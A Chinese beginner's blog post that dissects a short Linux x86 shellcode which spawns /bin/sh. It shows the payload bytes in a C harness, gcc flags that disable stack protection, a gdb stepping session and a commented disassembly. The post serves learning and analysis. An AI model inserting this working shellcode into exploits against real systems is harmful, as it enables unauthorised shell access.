简单Shellcode的详细分析

作 者: moonflow

百年一遇的高级光棍节，我得写篇详细完整的文章才行。初学者，菜文，老鸟请飘过

分析段简单的shellcode代码

1.shellcode.c

代码:

#include <stdio.h> 

static char shellcode[]=   

"\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89"   

"\xf3\x8d\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e"   

"\x2f\x73\x68\x58";  

int main() { 

  (*(void(*)())shellcode)(); 

  return 0; 

} 

gcc -fno-stack-protector -z execstack -g -o shell shell.c   //记住一定要加-fno-stack-protector -z execstack

 

2.shellcode动态调试

记住编译的时候一定要加-fno-stack-protector -z execstack

gdb动态调试shellcode(凑合看，文档里会清晰点。)

代码:

[root@localhost ceshi]# gdb shellcode

GNU gdb Fedora (6.8-27.el5)

Copyright (C) 2008 Free Software Foundation, Inc.

License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>

This is free software: you are free to change and redistribute it.

There is NO WARRANTY, to the extent permitted by law.  Type "show copying"

and "show warranty" for details.

This GDB was configured as "i386-redhat-linux-gnu"...

(gdb) l

1       #include <stdio.h>

2

3       static char shellcode[]= 

4       "\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89" 

5       "\xf3\x8d\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e" 

6       "\x2f\x73\x68\x58";

7

8       int main() {

9         (*(void(*)())shellcode)();

10        return 0;

(gdb)

加断点在shellcode部分，并使用汇编方式来调试,即display /i $pc

代码:

(gdb) b 9

Breakpoint 1 at 0x8048365: file shellcode.c, line 9.

(gdb) display /i $pc

(gdb) run

Starting program: /root/ceshi/shellcode

 

Breakpoint 1, main () at shellcode.c:9

9         (*(void(*)())shellcode)();

1: x/i $pc

0x8048365 <main+17>:    mov    $0x8049580,%eax

(gdb)

单步调试si，使用x/8xb 134518174观察esi中的字符串，可以发现这串ascii码这个时候是/bin/sh，但是末尾58

代码:

0x08049582 in shellcode ()

1: x/i $pc

0x8049582 <shellcode+2>:        pop    %esi

(gdb)

0x08049583 in shellcode ()

1: x/i $pc

0x8049583 <shellcode+3>:        mov    %esi,0x8(%esi)

(gdb) i r esi

esi            0x804959e        134518174

(gdb) x/8xb 134518174

0x804959e <shellcode+30>:       0x2f    0x62    0x69    0x6e    0x2f    0x73  0x68     0x58

(gdb)

继续单步,，跟踪到mov  %al,0x7(%esi)过后，会发现末尾的58变成了00，这个时候就是完整的"/bin/sh"了。

代码:

0x8049586 <shellcode+6>:        xor    %eax,%eax

(gdb)

0x08049588 in shellcode ()

1: x/i $pc

0x8049588 <shellcode+8>:        mov    %al,0x7(%esi)

(gdb)

0x0804958b in shellcode ()

1: x/i $pc

0x804958b <shellcode+11>:       mov    %eax,0xc(%esi)

(gdb) i r esi

esi            0x804959e        134518174

(gdb) x/8xb 134518174

0x804959e <shellcode+30>:       0x2f    0x62    0x69    0x6e    0x2f    0x73  0x68     0x00

继续si，会发现mov $0xb,%al,将0xb(11)赋给eax , 这是execve()在系统中的索引号．然后调用80号中断

代码:

(gdb) si

0x0804958e in shellcode ()

1: x/i $pc

0x804958e <shellcode+14>:       mov    $0xb,%al

(gdb)

0x08049590 in shellcode ()

1: x/i $pc

0x8049590 <shellcode+16>:       mov    %esi,%ebx

(gdb)

0x08049592 in shellcode ()

1: x/i $pc

0x8049592 <shellcode+18>:       lea    0x8(%esi),%ecx

(gdb)

0x08049595 in shellcode ()

1: x/i $pc

0x8049595 <shellcode+21>:       xor    %edx,%edx

(gdb)

0x08049597 in shellcode ()

1: x/i $pc

0x8049597 <shellcode+23>:       int    $0x80

通过这段简单地跟踪可以了解到这段简单的shellcode的用处。即打开一个shell窗口。

 

3.详细汇编解释

这里采用nasm来汇编一下，即ndisasm -u，使用的intel风格的汇编，效果都一样，添加了详细注释。

代码:

echo -ne 

"\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x31\xd2\xcd\x80 

\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58" | ndisasm -u -

 

代码:

00000000  EB17              jmp short 0x19   //注意17+2等于19，这是相对偏移，此地方跳转到call dword 0x2 

00000002  5E                pop esi       //弹出到esi寄存器中，即是call dword 0x2后面的返回地址0000001E，也就是存储着/bin/sh 

00000003  897608            mov [esi+0x8],esi 

00000006  31C0              xor eax,eax 

00000008  884607            mov [esi+0x7],al  //使58为00，这样就是完整的字符串"/bin/sh" 

0000000B  89460C            mov [esi+0xc],eax 

0000000E  B00B              mov al,0xb    //将0xb(11)赋给eax , 这是execve()在系统中的索引号．  

00000010  89F3              mov ebx,esi   //赋值esi字符串 

00000012  8D4E08            lea ecx,[esi+0x8] 

00000015  31D2              xor edx,edx 

00000017  CD80              int 0x80 

00000019  E8E4FFFFFF        call dword 0x2   //这里跳转到pop esi执行，但是call的时候会压入返回地址，即0000001E 

0000001E  2F                das        

0000001F  62696E            bound ebp,[ecx+0x6e] 

00000022  2F                das 

00000023  7368              jnc 0x8d 

00000025  58                pop eax     

       末尾从2F开始，这里面2F 62 69 6E 2F 73 68 对应着/ b i n / sh，应该末尾还有个00，但是这边放的是58，不是00，那要怎么进行呢？shellcode里不能直接放0x00，通过动态调试可以发现这里就是通过mov [esi+0x7],al这条指令来是58置为00的。这样子/bin/sh就完整了。

      分析结束，初次分析shellcode，很多不会，需要进一步学习。

      好好学习，天天向上。